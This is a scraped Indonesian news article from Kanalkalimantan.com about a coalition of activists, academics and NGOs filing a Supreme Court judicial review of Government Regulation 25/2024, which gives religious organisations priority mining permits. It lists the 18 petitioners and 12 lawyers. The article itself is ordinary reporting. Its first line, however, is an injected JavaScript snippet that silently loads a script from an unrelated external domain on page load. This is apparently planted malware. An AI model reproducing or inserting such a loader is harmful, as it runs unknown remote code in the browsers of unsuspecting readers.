(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ajukan Gugatan ke MA, Tokoh Lintas Bidang Tolak Suap Tambang Ormas Keagamaan


KANALKALIMANTAN.COM, JAKARTA – Tim Advokasi Tolak Tambang terdiri dari para tokoh, akademisi, dan beberapa lembaga swadaya masyarakat secara resmi mendaftarkan permohonan judicial review Peraturan Pemerintah (PP) Nomor 25 Tahun 2024 ke Mahkamah Agung (MA), Selasa (1/10/2024).

PP No 25 tahun2024 itu diketahui berbunyi pemberian prioritas izin tambang bagi ormas keagamaan.

Dalam permohonan, Tim Advokasi Tolak Tambang mendalilkan bahwa aturan tersebut bukan hanya cacat secara hukum, melainkan juga berpotensi menjadi arena transaksi (suap) politik.

Pemberian izin tambang tanpa lelang jelas menyalahi Pasal 75 ayat (3) dan ayat (4) Undang-Undang Nomor 3 Tahun 2020 tentang Pertambangan Mineral dan Batubara (UU Minerba).

Baca juga: 2 Oktober Hari Batik Nasional: Karya Seni, Idealisme, hingga Alat Perjuangan

Tim Advokasi menuntut ormas keagamaan untuk tetap fokus pada pembinaan dan pelayanan umat.

Ada 18 Pemohon yang terdiri dari 6 kelembagaan dan 12 perorangan mengajukan permohonan judicial review ke MA.

Adapun daftar nama Para Pemohon dan Kuasa Hukum sehubungan dengan penanganan advokasi perkara a quo sebagai berikut:

Baca juga: KPU RI Berhentikan Tidak Hormat Mantan Ketua KPU Banjarbaru

Para pemohon, yang juga mewakili unsur-unsur koalisi masyarakat sipil yaitu:

  1. Lembaga Naladwipa Instutute for Social and Cultural Studies.
  2. Perkumpulan Jaringan Advokasi Tambang (JATAM) Nasional.
  3. Perserikatan Solidaritas Perempuan.
  4. Perkumpulan Jaringan Advokasi Tambang (JATAM) Sulawesi Tengah.
  5. Trend Asia
  6. Yayasan Wahana Lingkungan Hidup (WALHI) Nasional.
  7. Asman Aziz – Wakil Sekretaris Tanfidziyah Pengurus Wilayah Nahdlatul Ulama (PWNU) Provinsi Kalimantan Timur.
  8. Buyung Marajo – Koordinator Forum Himpunan Kelompok Kerja-30 (FH Pokja 30).
  9. Dwi Putra Kurniawan, S.E. – Dewan Pengurus Wilayah Serikat Petani Indonesia Kalimantan.
  10. Inayah Wahid – Warga Masyarakat yang Peduli dengan Lingkungan Hidup.
  11. Kisworo Dwi Cahyono, S.P., S.H. – Direktur Eksekutif Wahana Lingkungan Hidup Indonesia (WALHI) Kalimantan Selatan.
  12. Mareta Sari – Koordinator Jaringan Advokasi Tambang (JATAM) Kalimantan Timur.
  13. Masduki – Pengajar Universitas Islam Indonesia dan Inisiator Forum Cik Di Tiro
  14. Rika Iffati Farihah Wakil Ketua I Pengurus Pimpinan Wilayah Fatayat Nahdlatul Ulama Provinsi Daerah Istimewa Yogyakarta.
  15. Sanaullaili – Anggota Bidang IV Kajian Politik Sumber Daya Alam, Lembaga Hikmah, dan Kebijakan Publik, Pimpinan Pusat Muhammadiyah.
  16. Siti Maemunah – Anggota Badan Pengurus Jaringan Advokasi Tambang Nasional.
  17. Trigus Dodik Susilo – Pimpinan Daerah Pemuda Muhammadiyah Trenggalek.
  18. Wahyu Agung Perdana – Kepala Bidang Kajian Politik Sumber Daya Alam Lembaga Hikmah, dan Kebijakan Publik (LHKP) Pimpinan Pusat Muhammadiyah.

 

Kuasa Hukum, antara lain:

  1. Prof Denny Indrayana SH LLM PhD.
  2. Wasingatu Zakiyah SH MA.
  3. Muhamad Isnur SHI.
  4. Muh Jamil SH.
  5. Edy Kurniawan SH.
  6. Teo Reffelsen SH.
  7. NW Satrio Kusuma Manggala SH.
  8. Yulianto Behar Nggali Mara SH.
  9. Yuwono Andreas Victor Christian SH.
  10. Zainal Arifin SHI.
  11. Muhamad Raziv Barokah SH MH.
  12. Tareq Muhammad Aziz Elven SH.

Baca juga: Aksi Solidaritas Gerakan Kolektif Kalsel Peringati “September Hitam” di Lapangan Murdjani

Tim Advokasi Tolak Tambang mengatakan dengan maksudnya menyelamatkan ormas keagamaan dari pusaran energi kotor pertambangan, sehingga dapat kembali kepada khittahnya, serta untuk menjaga kelestarian lingkungan hidup dari kerusakan.

“Kita harus menyelematkan ormas keagamaan ini, mengapa? Karena kalau dibiarkan, maka akan menjadi preseden buruk kedepannya. Di mana, lahan tambang akan selalu dijadikan alat transaksi untuk pembungkaman politik oleh pemerintah,” ujar M Raziv Barokah sebagai perwakilan kuasa hukum para pemohon.

“Kedepannya, bisa jadi giliran ormas-ormas yang lain, seperti ormas di bidang industri, profesi, dan lain sebagainya. Oleh karenanya, Tim Advokasi Tolak Tambang, akan terus mengawal perjuangan ini,” tambahnya.

Tim Advokasi berpandangan, pemberian izin tambang bagi ormas keagamaan tersebut, selain akan merusak lingkungan sekitar juga berpotensi besar memicu konflik horizontal antara masyarakat adat dan ormas terkait.

Selain itu, sangat tidak tepat, bila izin tambang diberikan kepada ormas keagamaan yang secara kelembagaan tujuannya bukan untuk mencari keuntungan, melainkan bersifat sosial yang jauh dari nilai-nilai bisnis.

Baca juga: Permohonan Praperadilan Tersangka Korupsi Dinsos HST Ditolak, Anggota DPRD HST Bakal Jalani Persidangan

Salah satu pemohon Wahyu Agung Perdana yang juga merupakan Kepala Bidang Kajian Politik Sumber Daya Alam Lembaga Hikmah, dan Kebijakan Publik (LHKP) PP Muhammadiyah mengatakan, sebagai warga negara dan sekaligus anggota Persyarikatan Muhammadiyah, upaya judicial review terhadap PP 25 tahun 2024 merupakan bagian dari Jihad Konstitusi.

Menurutnya, pemberian konsesi kepada ormas keagamaan pada sektor batu bara yang hanya mencakup wilayah eks PKP2B (Pasal 83A ayat 2), dengan jangka waktu penawaran terbatas lima tahun (Pasal 83A ayat 6), bukan saja hanya menimbulkan dampak kerusakan lingkungan dan sosial yang signifikan, tetapi juga berpotensi kuat menjadi bentuk “risywah politik”. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Penyelewengan BBM Subsidi di Banjarmasin, Polisi Sita 2.035 Liter Pertalite

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More

1 jam ago

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

13 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

14 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

1 hari ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

1 hari ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

1 hari ago

This website uses cookies.